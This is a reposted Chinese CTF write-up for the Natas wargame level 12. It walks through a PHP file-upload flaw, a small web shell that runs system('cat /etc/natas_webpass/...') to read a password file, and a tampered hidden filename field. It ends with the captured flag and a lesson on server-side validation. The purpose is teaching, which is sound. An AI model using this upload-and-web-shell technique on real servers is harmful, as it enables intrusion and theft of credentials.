

Natas Wargame Level 12 Writeup (文件上传漏洞)

转载

[a_18067](#) 于 2017-05-12 21:16:00 发布 58 收藏

文章标签: [php](#)

原文链接: <http://www.cnblogs.com/liqihao/p/6847268.html>

版权

Choose a JPEG to upload (max 1KB):

Browse...

No file selected.

Upload File

[View sourcecode](#)

sourcecode核心代码:

```

1 <?
2
3 function genRandomString() {
4     $length = 10;
5     $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
6     $string = "";
7
8     for ($p = 0; $p < $length; $p++) {
9         $string .= $characters[mt_rand(0, strlen($characters)-1)];
10    }
11
12    return $string;
13 }
14
15 function makeRandomPath($dir, $ext) {
16    do {
17        $path = $dir."/".genRandomString().".$ext; #upload/随机字符.XXX
18    } while(file_exists($path));
19    return $path;
20 }
21
22 function makeRandomPathFromFilename($dir, $fn) {
23     $ext = pathinfo($fn, PATHINFO_EXTENSION);#获得扩展名
24     return makeRandomPath($dir, $ext);
25 }
26
27 if(array_key_exists("filename", $_POST)) {
28     $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); #upload/随机字符.XXX
29
30
31     if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
32         echo "File is too big";
33     } else {
34         if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
35             echo "The file <a href=\"\$target_path\">$target_path</a> has been uploaded";
36         } else{
37             echo "There was an error uploading the file, please try again!";
38         }
39     }
40 } else {
41 ?>

```

经过分析，上传流程为：上传 -> 服务器获取格式xxx -> 判断大小 -> 生成随机参数 -> 将文件从temp文件夹下移动到./upload/xxxxx.xxx。

可以发现，该上传文件的漏洞在于，没有强制验证文件的属性，并将上传文件设置为可以访问的（回显）。

考虑上传一个php脚本，该脚本显示/etc/natas_webpass/natas12:

```

1 <?php
2 $a = system('cat /etc/natas_webpass/natas14');
3 echo $a;
4 ?>

```

命名为test.php，则上传后应存储为/upload/xxxxxxx.php

The file [upload/elb11icc35.jpg](#) has been uploaded
[View sourcecode](#)

但上传后发现，php脚本没有能够被正确识别。

先分析本地源码，实在没思路的时候，也可试试抓包。

```
<div id="content">
  ::before
  <form enctype="multipart/form-data" action="index.php" method="POST">
    <input name="MAX_FILE_SIZE" value="1000" type="hidden"></input>
    <input name="filename" value="ztr5hhsp1.jpg" type="hidden"></input>
    Choose a JPEG to upload (max 1KB):
    <br></br>
    <input name="uploadedfile" type="file"></input>
    <br></br>
    <input value="Upload File" type="submit"></input>
  </form>
```

可以看到，有两个隐藏的上传变量：MAX_FILE_SIZE和filename。再结合服务器的脚本可知，这里的ztr5hhsp1.jpg的作用应该是强制将上传文件“改为”jpg格式，但这种方法放在了本地，所以让我们有了可乘之机。

```
<input name="filename" value="ztr5hhsp1.php" type="hidden"></input>
Choose a JPEG to upload (max 1KB):
```

改为.php

如果通过抓包分析的话，有一个地方需要注意：

```
Content-Disposition: form-data; name="filename"
34h5w11xb0.jpg
-----168409385017306895785124230
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: application/x-php

<?php
$a = system('cat /etc/natas_webpass/natas12');
echo $a;
?>
```

wireshark的排版有些问题。。。

第一个filename和第二个filename的意义不同，第一个是上传的一个text变量，服务器也是根据这个“强制识别”为jpg，第二个上传文件的file默认属性。

The file [upload/wkk3g67jh8.php](#) has been uploaded
[View sourcecode](#)

运行脚本，拿到flag: **jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY**

总结：上传文件应该对文件进行严格的认证，如格式，大小等等。另外，这种认证在服务器端一定要完整的，任何时候都不能相信客户。

转载于:<https://www.cnblogs.com/liqiuhaop/6847268.html>